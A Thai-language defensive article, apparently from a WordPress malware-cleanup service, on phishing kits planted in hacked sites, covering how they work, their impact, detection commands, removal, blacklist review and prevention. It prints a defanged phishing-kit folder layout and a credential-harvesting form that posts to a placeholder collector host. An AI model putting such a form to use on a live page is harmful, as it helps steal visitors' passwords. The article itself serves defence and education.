WordPress Malware & Virus

เว็บโดนฝังหน้า Phishing คืออะไร? เมื่อโดเมนของคุณถูกใช้หลอกลวงคนอื่น

เว็บโดนฝังหน้า Phishing คืออะไร? เมื่อโดเมนของคุณถูกใช้หลอกลวงคนอื่น

สรุปคำตอบ

เว็บโดนฝัง Phishing คือการที่แฮกเกอร์เจาะเว็บแล้ววางหน้าเว็บปลอม เช่น หน้าเข้าสู่ระบบธนาคารหรืออีเมล ไว้ในโฟลเดอร์ย่อย เพื่อหลอกให้คนอื่นกรอกรหัสผ่าน มักมาในรูป Phishing Kit ไฟล์ .zip ที่อัปโหลดแล้วแตกไฟล์บนเว็บ ผลคือโดเมนติด blacklist และเบราว์เซอร์ขึ้นคำเตือน วิธีแก้คือลบไฟล์ของ Kit ปิดทางที่แฮกเกอร์ใช้เข้ามา เปลี่ยนรหัสผ่านทุกจุด แล้วขอ Review ใน Search Console

เว็บโดนฝัง Phishing คือสถานการณ์ที่แฮกเกอร์เจาะเข้ามาในเว็บไซต์ของคุณ แล้ววางหน้าเว็บปลอม เช่น หน้าเข้าสู่ระบบของธนาคาร อีเมล หรือบริการขนส่ง ไว้ในโฟลเดอร์ย่อย เพื่อหลอกให้คนอื่นกรอกรหัสผ่านหรือข้อมูลบัตร เว็บของคุณไม่ได้เป็นเป้าหมายโดยตรง แต่ถูกใช้เป็นที่ตั้งของหน้าหลอกลวง ผู้เสียหายคือคนที่ได้รับลิงก์ทางอีเมลหรือ SMS ส่วนเจ้าของเว็บรับผลในรูปของโดเมนติด blacklist และคำเตือนจากเบราว์เซอร์

NIST ให้นิยาม Phishing ว่าเป็น “เทคนิคการพยายามได้มาซึ่งข้อมูลอ่อนไหว เช่น หมายเลขบัญชีธนาคาร ผ่านการชักชวนที่ฉ้อฉลทางอีเมลหรือบนเว็บไซต์” (NIST SP 800-12 Rev. 1 ใน NIST CSRC Glossary) บทความนี้อธิบายกลไกของหน้า Phishing บนเว็บที่ถูกแฮก ผลกระทบ วิธีรู้ตัว วิธีลบ และวิธีป้องกัน เป็นส่วนหนึ่งของชุดบทความ มัลแวร์เว็บไซต์คืออะไร มีกี่แบบ

Phishing Page บนเว็บที่ถูกแฮกคืออะไร

รายงาน Phishing Activity Trends Report ของ APWG (Anti-Phishing Working Group) นิยาม Phishing ว่าเป็นอาชญากรรมที่ใช้ทั้งวิศวกรรมสังคมและกลอุบายทางเทคนิคเพื่อขโมยข้อมูลตัวตนและข้อมูลบัญชีการเงิน โดยใช้อีเมล เว็บไซต์ปลอม และชื่อโดเมนหลอกลวง เพื่อพาผู้ใช้ไปยังเว็บไซต์ปลอมที่หลอกให้เปิดเผยชื่อผู้ใช้และรหัสผ่าน (APWG, Q2 2026) หน้าเว็บปลอมนั้นต้องมีที่ตั้ง และที่ตั้งหนึ่งที่ผู้โจมตีใช้คือเว็บไซต์ที่ถูกเจาะ

ในทางปฏิบัติ ผู้โจมตีมักใช้ Phishing Kit คือชุดไฟล์สำเร็จรูปของหน้าเว็บปลอม รายงาน Phish in a Barrel ของ Duo Labs (2017) ซึ่งเก็บ Phishing Kit ที่ไม่ซ้ำกันได้มากกว่า 3,200 ชุดในการทดลองหนึ่งเดือน อธิบายกระบวนการไว้ 5 ขั้น (Duo Labs)

  1. คัดลอก (clone) เว็บไซต์จริงที่ต้องการปลอม
  2. แก้ฟอร์มเข้าสู่ระบบให้ส่งข้อมูลไปยังสคริปต์ PHP ที่เก็บรหัสผ่าน ซึ่งจะส่งอีเมลข้อมูลไปให้ผู้โจมตี หรือบันทึกลงไฟล์ข้อความ
  3. รวมไฟล์ทั้งหมดเป็นไฟล์ .zip เพื่อนำไปใช้ซ้ำกับหลายเซิร์ฟเวอร์และหลายแคมเปญ
  4. อัปโหลดไฟล์ไปยังเว็บที่ถูกแฮก (รายงานยกตัวอย่างเว็บ WordPress ที่ถูกแฮก) แล้วแตกไฟล์ลงโฟลเดอร์
  5. ส่งอีเมลที่มีลิงก์ชี้มายังหน้าเว็บปลอม

รายงานเดียวกันพบว่า path ที่พบบ่อยใน URL ของหน้า Phishing รวมถึง wp-admin, wp-includes และ wp-content ซึ่งบ่งชี้ว่าหน้าเว็บปลอมจำนวนหนึ่งตั้งอยู่บนเว็บ WordPress ที่ถูกเจาะ และหลังเก็บรหัสผ่านแล้ว สคริปต์มักส่งผู้ใช้ต่อไปยังหน้าเข้าสู่ระบบของเว็บจริง ผู้เสียหายจึงคิดว่าตนพิมพ์รหัสผิด (Duo Labs)

ตัวอย่างโค้ดอันตราย · ตัดให้ใช้งานไม่ได้

1. โครงสร้างโฟลเดอร์ของ Phishing Kit ที่ถูกวางในเว็บ

public_html/
├── wp-content/
│   └── uploads/
│       └── 2026/09/
│           └── secure-login/          ← โฟลเดอร์ที่คุณไม่ได้สร้าง
│               ├── index.html         ← หน้าเข้าสู่ระบบปลอม (คัดลอกจากเว็บจริง)
│               ├── assets/            ← CSS, รูปโลโก้, ฟอนต์ ของแบรนด์ที่ถูกปลอม
│               ├── verify.php         ← สคริปต์รับข้อมูลที่ผู้ใช้กรอก
│               ├── .htaccess          ← บล็อก IP ของบริการตรวจ Phishing
│               └── result.txt         ← ไฟล์เก็บข้อมูลที่ขโมยได้ (…)
└── secure-login.zip                    ← ไฟล์ zip ต้นฉบับที่ลืมลบ

จุดสังเกต: ชื่อโฟลเดอร์มักใช้คำที่ดูน่าเชื่อถือ เช่น secure, verify, account, login หรือชื่อธนาคาร และไฟล์ทั้งชุดมีวันที่แก้ไขใกล้กัน Duo Labs รายงานว่า Kit จำนวนมากใส่ไฟล์ .htaccess ที่บล็อก IP ของบริการข่าวกรองภัยคุกคาม เพื่อให้หน้าเว็บอยู่ได้นานขึ้น

มักซ่อนอยู่ที่: โฟลเดอร์ปีเดือนใน wp-content/uploads, โฟลเดอร์ใน wp-includes หรือ wp-admin ที่ไม่ใช่ของ WordPress, หรือโฟลเดอร์ใหม่ในรากของ public_html

ตัวอย่างโค้ดอันตราย · ตัดให้ใช้งานไม่ได้

2. ฟอร์มขโมยรหัสผ่านที่ส่งข้อมูลออกไปยังโดเมนอื่น

<form method="post" action="https://collector.bad-site.example/…">
  <input type="email" name="user" placeholder="อีเมลหรือหมายเลขบัญชี">
  <input type="password" name="pass" placeholder="รหัสผ่าน">
  <input type="hidden" name="src" value="…">
  <button type="submit">เข้าสู่ระบบ</button>
</form>

จุดสังเกต: ฟอร์มที่มีช่อง type="password" แต่ action ชี้ไปโดเมนอื่น หรือชี้ไปไฟล์ PHP ที่ไม่ใช่ของ WordPress และหน้าเว็บใช้โลโก้ของแบรนด์อื่นที่ไม่เกี่ยวกับธุรกิจของคุณ

มักซ่อนอยู่ที่: ไฟล์ index.html หรือ index.php ภายในโฟลเดอร์ของ Kit ไม่ใช่ในหน้าเว็บหลักของคุณ เจ้าของเว็บจึงมักไม่เห็นจนกว่าจะมีคนแจ้ง

ทำไมแฮกเกอร์เลือกใช้เว็บที่น่าเชื่อถือ

ผู้โจมตีมีทางเลือกสองแบบ คือจดโดเมนใหม่เอง หรือใช้โดเมนของเว็บที่ถูกเจาะ รายงาน Phishing Landscape 2025 ของ Interisle Consulting Group ซึ่งวิเคราะห์ช่วงพฤษภาคม 2024 ถึงเมษายน 2025 พบว่า 77% ของชื่อโดเมนที่ถูกรายงานว่าใช้ทำ Phishing เป็นโดเมนที่จดขึ้นเพื่อก่ออาชญากรรมโดยเฉพาะ และเมื่อแยกตามกลุ่มโดเมน สัดส่วนโดเมนที่ถูกเจาะ (compromised) อยู่ที่ 33% ในกลุ่ม .COM/.NET และ 40% ในกลุ่มโดเมนประจำประเทศ (ccTLD) (Interisle Consulting Group) กล่าวคือโดเมนที่จดใหม่เป็นส่วนใหญ่ แต่เว็บที่ถูกเจาะยังเป็นสัดส่วนที่มีนัยสำคัญ โดยเฉพาะในโดเมนที่ใช้กันทั่วไป

เหตุผลที่เว็บที่ถูกเจาะมีประโยชน์ต่อผู้โจมตี ได้แก่

  • โดเมนมีอายุและประวัติ ระบบกรองอีเมลและผู้ใช้มีแนวโน้มไว้ใจโดเมนเก่ามากกว่าโดเมนที่เพิ่งจด
  • มี HTTPS อยู่แล้ว Duo Labs ระบุว่าผู้โจมตีใช้ HTTPS ส่งหน้าปลอมมากขึ้น และสัญลักษณ์ “ปลอดภัย” ในเบราว์เซอร์ไม่ได้แปลว่าเว็บนั้นไม่ใช่ Phishing (Duo Labs)
  • ไม่มีค่าใช้จ่ายและหาตัวคนทำยาก ข้อมูลการจดโดเมนและโฮสติ้งเป็นของเจ้าของเว็บ ไม่ใช่ผู้โจมตี
  • ใช้ซ้ำได้ Phishing Kit ชุดเดียวถูกวางซ้ำในหลายเว็บ เมื่อเว็บหนึ่งถูกปิด ก็ย้ายไปเว็บอื่น

ขนาดของปัญหาโดยรวมยังสูง APWG รายงานว่าไตรมาส 2 ปี 2026 มีการโจมตีแบบ Phishing 1,069,681 ครั้ง เพิ่มขึ้น 10.1% จากไตรมาสก่อน และมีแบรนด์ที่ถูกปลอม 941 แบรนด์ โดยครึ่งหนึ่งถูกโจมตีไม่เกิน 5 ครั้ง ซึ่ง APWG ตีความว่าผู้โจมตียังสร้างหน้าแม่แบบสำหรับแบรนด์ที่ไม่ค่อยมีคนรู้จักและแบรนด์ระดับภูมิภาคอย่างต่อเนื่อง กลุ่มที่ถูกโจมตีมากที่สุดคือ SaaS / Webmail ที่ 29.1% (APWG, Q2 2026 เผยแพร่ 28 สิงหาคม 2026)

ผลกระทบต่อเจ้าของเว็บ

ด้าน สิ่งที่เกิดขึ้น
Google Safe Browsing Search Console อาจแจ้งประเภท Deceptive pages และ Chrome อาจแสดงคำเตือน “Deceptive site ahead” เมื่อมีคนเข้าเว็บ (Google Search Central)
ผู้ใช้ของเว็บคุณเอง ถ้าหน้าปลอมเลียนแบบหน้าเข้าสู่ระบบของเว็บคุณ Google มีประเภท “Possible phishing detected on user login” ซึ่งเกิดเมื่อผู้ใช้กรอกรหัสผ่านที่บันทึกไว้ในหน้าที่สงสัยว่าเป็น Phishing (Search Console Help)
โฮสติ้ง ผู้ให้บริการโฮสติ้งโดยทั่วไปรับเรื่องร้องเรียน (abuse report) และอาจระงับไฟล์ บัญชี หรือทั้งเว็บจนกว่าจะแก้ไข เงื่อนไขขึ้นกับนโยบายของแต่ละราย ดูวิธีรับมือที่ Hosting แจ้งพบ Malware
อีเมลของบริษัท เมื่อโดเมนถูกรายงานว่าเกี่ยวข้องกับ Phishing อีเมลจากโดเมนเดียวกันอาจถูกระบบกรองจัดเป็นอันตราย ยิ่งถ้าแฮกเกอร์ใช้เซิร์ฟเวอร์ของคุณส่งอีเมลล่อด้วย อ่านต่อที่ อีเมลส่งไม่ออก / Spam Mailer
ความเสี่ยงอื่น Kit บางชุดมี Backdoor ซ่อนอยู่ Duo Labs พบว่าผู้ขาย Kit บางรายแอบใส่ Web Shell ไว้ในสคริปต์ของ Kit เพื่อเข้าถึงเซิร์ฟเวอร์ที่ถูกเจาะต่อ (Duo Labs) ส่วนประเด็นทางกฎหมายขึ้นกับข้อเท็จจริงของแต่ละกรณี ควรปรึกษานักกฎหมาย

ถ้าคำเตือนขึ้นแล้ว ดูความหมายของคำเตือนแต่ละแบบและระยะเวลาที่ Google ใช้ถอดคำเตือนได้ที่ Google เตือน “เว็บไซต์นี้อาจเป็นอันตราย” ทำอย่างไรดี

วิธีรู้ตัวว่าเว็บถูกใช้ทำ Phishing

หน้า Phishing ไม่ได้แสดงบนหน้าแรกหรือเมนูของเว็บ เจ้าของเว็บจึงมักรู้จากแหล่งภายนอก ช่องทางที่พบบ่อยได้แก่

  • อีเมลแจ้งจากโฮสติ้งหรือผู้ให้บริการโดเมน ว่ามีการร้องเรียน URL ใดบนเว็บ ให้เก็บ URL ที่แจ้งไว้ทุกตัว เพราะชี้ตำแหน่งโฟลเดอร์ได้ทันที
  • รายงาน Security issues ใน Search Console ประเภท Deceptive pages, Suspected deceptive pages หรือ Possible phishing detected on user login พร้อมตัวอย่าง URL (Search Console Help)
  • Safe Browsing site status ตรวจโดเมนได้ที่ Google Transparency Report
  • ผู้ใช้หรือคนแปลกหน้าแจ้ง ว่าได้รับอีเมลหรือ SMS ที่มีลิงก์ไปยังโดเมนของคุณ
  • สัญญาณในเซิร์ฟเวอร์ เช่น โฟลเดอร์หรือไฟล์ .zip ที่ไม่รู้จัก ทราฟฟิกจำนวนมากไปยัง path แปลกใน log หรือโควตาอีเมลถูกใช้ผิดปกติ
คำสั่งตรวจสอบ · ใช้ได้จริง

3. หาโฟลเดอร์และไฟล์ที่เพิ่งถูกเพิ่มใน public_html

# รันจากโฟลเดอร์ public_html (คำสั่งเหล่านี้อ่านอย่างเดียว ไม่ลบหรือแก้ไฟล์)

# โฟลเดอร์ที่ถูกสร้างหรือแก้ไขใน 14 วันที่ผ่านมา
find . -type d -mtime -14 -not -path './wp-content/cache/*' | sort

# ไฟล์ html / htm / zip ที่เพิ่งเพิ่ม (WordPress ปกติแทบไม่สร้างไฟล์เหล่านี้เอง)
find . -type f \( -iname '*.html' -o -iname '*.htm' -o -iname '*.zip' \) -mtime -14 -ls

# ไฟล์ .htaccess ทุกไฟล์นอกรากเว็บ (Kit มักมีของตัวเอง)
find . -mindepth 2 -name '.htaccess' -ls

# หน้าเว็บที่มีช่องรหัสผ่าน นอกไฟล์ของ WordPress Core
grep -rIl --include='*.htm*' --include='*.php' -i 'type="password"' . | grep -v -E '^\./(wp-admin|wp-includes)/' | head -50

ปรับตัวเลข -mtime -14 ให้ครอบคลุมช่วงเวลาที่สงสัย ผลลัพธ์บางส่วนอาจเป็นไฟล์ปกติของ Plugin หรือ Cache ให้เทียบกับสิ่งที่คุณติดตั้งเอง ถ้าพบโฟลเดอร์ Kit อย่าเพิ่งลบทันที ให้สำรองไว้ก่อนเพื่อใช้หาว่าแฮกเกอร์เข้ามาทางไหน

โฟลเดอร์ wp-admin และ wp-includes ที่ถูกตัดออกจากคำสั่งสุดท้าย ควรตรวจแยกด้วย wp core verify-checksums ซึ่งจะแจ้งไฟล์ที่ไม่ใช่ของ WordPress Core (WP-CLI Commands)

วิธีหาไฟล์แปลกปลอมแบบอื่นอยู่ใน วิธีเช็กไฟล์แปลกปลอมใน WordPress

วิธีลบหน้า Phishing และขอถอดออกจาก Blacklist

  1. เก็บหลักฐานก่อน สำรองโฟลเดอร์ Kit, log ของเว็บเซิร์ฟเวอร์ และรายการ URL ที่ได้รับแจ้ง ข้อมูลนี้ช่วยหาจุดที่ถูกเจาะ และใช้ตอบโฮสติ้งหรือหน่วยงานที่สอบถาม
  2. ลบโฟลเดอร์และไฟล์ของ Kit ทั้งหมด รวมถึงไฟล์ .zip ต้นฉบับและไฟล์ที่เก็บข้อมูลที่ขโมยได้ แล้วตรวจว่า URL เดิมตอบกลับ 404 หรือ 410
  3. หาและปิดทางเข้า Phishing Kit เป็นเพียงผลลัพธ์ ต้นเหตุมักเป็นรหัสผ่านที่รั่ว Plugin ที่มีช่องโหว่ หรือ Web Shell ที่วางไว้ก่อน ตรวจตามแนวทาง Web Shell คืออะไร และ Backdoor ใน WordPress ถ้าไม่ปิดทางเข้า Kit ชุดใหม่จะถูกวางกลับภายในไม่นาน
  4. เปลี่ยนรหัสผ่านทุกจุด แอดมิน WordPress, Hosting control panel, FTP/SFTP, ฐานข้อมูล และบัญชีอีเมลของโดเมน
  5. ขอ Review จาก Google ผ่านรายงาน Security issues ใน Search Console คู่มือของ Google ระบุว่าการ Review กรณี Phishing “ใช้เวลาประมาณหนึ่งวัน” และเมื่อพบว่าเว็บสะอาด คำเตือนจะถูกนำออกภายใน 72 ชั่วโมง (web.dev) ขั้นตอนการเขียนคำขออยู่ใน Search Console แจ้ง Security Issues
  6. แจ้งโฮสติ้งว่าแก้ไขแล้ว ถ้าโฮสติ้งระงับเว็บ ให้ส่งรายละเอียดสิ่งที่ลบและสิ่งที่ปิดช่องโหว่ เพื่อขอเปิดเว็บคืน

ถ้าคุณพบหน้า Phishing บนเว็บของผู้อื่น หรือได้รับลิงก์หลอกลวง สามารถรายงานไปที่ Google ผ่านแบบฟอร์ม Report Phishing Page และในประเทศไทย หน้าแรกของ ThaiCERT (ภายใต้ สกมช.) ระบุอีเมลและเบอร์โทรศัพท์สำหรับแจ้งเหตุภัยคุกคามไซเบอร์ไว้ (ณ ตุลาคม 2026) ส่วนกรณีที่ Google จัดเว็บของคุณผิดประเภททั้งที่ไม่มีหน้า Phishing ใช้แบบฟอร์ม รายงานการแจ้งเตือนที่ไม่ถูกต้อง

ข้อควรระวัง: นโยบาย Repeat Offenders ของ Google ระบุว่าเว็บที่สลับไปมาระหว่างปลอดภัยกับไม่ปลอดภัยในช่วงสั้นจะขอ Review ไม่ได้เป็นเวลา 30 วัน (Google Search Central) การลบเฉพาะโฟลเดอร์ Kit แล้วรีบขอ Review โดยไม่ปิดทางเข้า จึงเสี่ยงกว่าการใช้เวลาตรวจให้ครบ

วิธีป้องกัน

มาตรการต่อไปนี้ลดโอกาสที่ผู้โจมตีจะวางไฟล์บนเว็บได้ตั้งแต่แรก อ้างอิงแนวทาง Hardening WordPress ของ WordPress.org ร่วมกับบทความในชุดนี้

  • อัปเดต WordPress, Plugin และ Theme และลบสิ่งที่ไม่ได้ใช้ ดูเหตุผลที่ ทำไมต้องอัปเดต Plugin และ Theme
  • เปิด 2FA สำหรับบัญชีแอดมินและ Hosting เพราะรหัสผ่านที่รั่วเป็นทางเข้าที่ใช้ได้ทันที อ่าน 2FA คืออะไร
  • ปิดการรัน PHP ในโฟลเดอร์ uploads และตั้ง File Permission ให้ถูกต้อง
  • ตรวจหาไฟล์ใหม่เป็นระยะ ด้วยคำสั่งในหัวข้อก่อนหน้า หรือเปิดการแจ้งเตือนการเปลี่ยนแปลงไฟล์ใน Security Plugin
  • ยืนยันเว็บใน Search Console และเปิดอีเมลแจ้งเตือน เพื่อรู้ตัวตั้งแต่ Google เริ่มตรวจพบ
  • จำกัดผู้มีสิทธิ์แอดมิน ตามแนวทาง User Admin หลายคนเสี่ยงอย่างไร

รายการตรวจทั้งหมดอยู่ใน วิธีป้องกันเว็บ WordPress โดนแฮก ถ้าพบหน้า Phishing แล้วไม่แน่ใจว่าลบครบหรือหาทางเข้าไม่เจอ ดูรายละเอียด บริการล้างไวรัส WordPress

คำถามที่พบบ่อย

เว็บโดนฝัง Phishing แต่หน้าเว็บของเรายังปกติ เป็นไปได้ไหม?

เป็นไปได้และพบบ่อย หน้า Phishing มักอยู่ในโฟลเดอร์ย่อยที่ไม่มีลิงก์จากเมนูหรือหน้าแรก คนที่เห็นคือผู้ที่ได้รับลิงก์ตรงทางอีเมลหรือ SMS เจ้าของเว็บจึงมักรู้จากโฮสติ้ง Search Console หรือคนภายนอกแจ้ง

Phishing Kit คืออะไร?

คือชุดไฟล์สำเร็จรูปของหน้าเว็บปลอม ประกอบด้วยหน้าที่คัดลอกจากเว็บจริงและสคริปต์ที่เก็บข้อมูลที่ผู้ใช้กรอก มักถูกรวมเป็นไฟล์ .zip เพื่ออัปโหลดและแตกไฟล์บนเว็บที่ถูกแฮก แล้วนำไปใช้ซ้ำกับหลายเว็บ

ลบโฟลเดอร์ Phishing แล้วพอไหม?

ไม่พอ โฟลเดอร์เป็นแค่ผลลัพธ์ ต้องหาว่าผู้โจมตีเข้ามาทางไหน เช่น รหัสผ่านที่รั่ว Plugin ที่มีช่องโหว่ หรือ Web Shell และควรเปลี่ยนรหัสผ่านทุกจุด มิฉะนั้นมักถูกวางไฟล์ชุดใหม่ซ้ำ

Google ใช้เวลานานแค่ไหนในการถอดคำเตือน Phishing?

คู่มือ Request a review ของ Google ระบุว่าการ Review กรณี Phishing ใช้เวลาประมาณหนึ่งวัน และเมื่อพบว่าเว็บสะอาด คำเตือนในเบราว์เซอร์และผลค้นหาจะถูกนำออกภายใน 72 ชั่วโมง

เจอหน้า Phishing บนเว็บคนอื่น ควรแจ้งที่ไหน?

แจ้ง Google ผ่านแบบฟอร์ม Report Phishing Page ของ Safe Browsing และแจ้งผู้ให้บริการโฮสติ้งของเว็บนั้น ในประเทศไทยสามารถแจ้งเหตุภัยคุกคามไซเบอร์กับ ThaiCERT ตามช่องทางที่ระบุบนเว็บไซต์ได้

อีเมลบริษัทเข้าจังค์หลังเว็บโดนฝัง Phishing เกี่ยวกันไหม?

อาจเกี่ยวกัน โดเมนที่ถูกรายงานว่าเกี่ยวข้องกับ Phishing หรือเซิร์ฟเวอร์ที่ถูกใช้ส่งอีเมลล่อ อาจทำให้ระบบกรองอีเมลประเมินโดเมนของคุณแย่ลง ดูวิธีตรวจใน อีเมลส่งไม่ออก / Spam Mailer

แหล่งอ้างอิง

  1. National Institute of Standards and Technology. (ม.ป.ป.). Phishing — CSRC Glossary. สืบค้นเมื่อ 3 ตุลาคม 2026, จาก https://csrc.nist.gov/glossary/term/phishing
  2. Anti-Phishing Working Group. (2026). Phishing Activity Trends Report, 2nd Quarter 2026. สืบค้นเมื่อ 3 ตุลาคม 2026, จาก https://docs.apwg.org/reports/apwg_trends_report_q2_2026.pdf
  3. Wright, J. / Duo Labs. (2017). Phish in a Barrel: Hunting and Analyzing Phishing Kits at Scale. สืบค้นเมื่อ 3 ตุลาคม 2026, จาก https://duo.com/assets/ebooks/phish-in-a-barrel.pdf
  4. Interisle Consulting Group. (2025). Phishing Landscape 2025: An Annual Study of the Scope and Distribution of Phishing. สืบค้นเมื่อ 3 ตุลาคม 2026, จาก https://interisle.net/PhishingLandscape2025
  5. Google Search Central. (ม.ป.ป.). Social engineering (phishing and deceptive sites). สืบค้นเมื่อ 3 ตุลาคม 2026, จาก https://developers.google.com/search/docs/monitor-debug/security/social-engineering
  6. Google. (ม.ป.ป.). Security Issues report — Search Console Help. สืบค้นเมื่อ 3 ตุลาคม 2026, จาก https://support.google.com/webmasters/answer/9044101
  7. Google. (ม.ป.ป.). Safe Browsing site status — Google Transparency Report. สืบค้นเมื่อ 3 ตุลาคม 2026, จาก https://transparencyreport.google.com/safe-browsing/search
  8. web.dev (Google). (ม.ป.ป.). Request a review. สืบค้นเมื่อ 3 ตุลาคม 2026, จาก https://web.dev/articles/request-a-review
  9. Google Search Central. (2025). Safe Browsing Repeat Offenders Policy. สืบค้นเมื่อ 3 ตุลาคม 2026, จาก https://developers.google.com/search/docs/monitor-debug/security/safe-browsing-repeat-offenders
  10. Google. (ม.ป.ป.). Report Phishing Page — Google Safe Browsing. สืบค้นเมื่อ 3 ตุลาคม 2026, จาก https://safebrowsing.google.com/safebrowsing/report_phish/
  11. Google. (ม.ป.ป.). Report incorrect phishing warning — Google Safe Browsing. สืบค้นเมื่อ 3 ตุลาคม 2026, จาก https://safebrowsing.google.com/safebrowsing/report_error/
  12. ThaiCERT สำนักงานคณะกรรมการการรักษาความมั่นคงปลอดภัยไซเบอร์แห่งชาติ. (ม.ป.ป.). หน้าแรก ThaiCERT. สืบค้นเมื่อ 3 ตุลาคม 2026, จาก https://www.thaicert.or.th/
  13. WordPress.org. (ม.ป.ป.). Hardening WordPress — Advanced Administration Handbook. สืบค้นเมื่อ 3 ตุลาคม 2026, จาก https://developer.wordpress.org/advanced-administration/security/hardening/
  14. WordPress.org. (ม.ป.ป.). wp core verify-checksums — WP-CLI Commands. สืบค้นเมื่อ 3 ตุลาคม 2026, จาก https://developer.wordpress.org/cli/commands/core/verify-checksums/
อ่านบทความหลักของหมวดนี้ WordPress ติดไวรัส คืออะไร? อาการและวิธีตรวจสอบเบื้องต้น

บทความอื่นในหมวดนี้

เว็บโดนแฮก ทำอย่างไรดี? ขั้นตอนกู้เว็บ WordPress ทีละขั้น

ขั้นตอนกู้เว็บ WordPress ที่โดนแฮกทีละขั้น เรียบเรียงจาก NIST SP 800-61 Rev. 3, เอกสาร FAQ My site was hacked ของ WordPress.org และคำแนะนำของ Google สำหรับเว็บที่ถูกแฮก

42 นาที 18 Jun 2026
อ่านต่อ
LINE ส่งปัญหา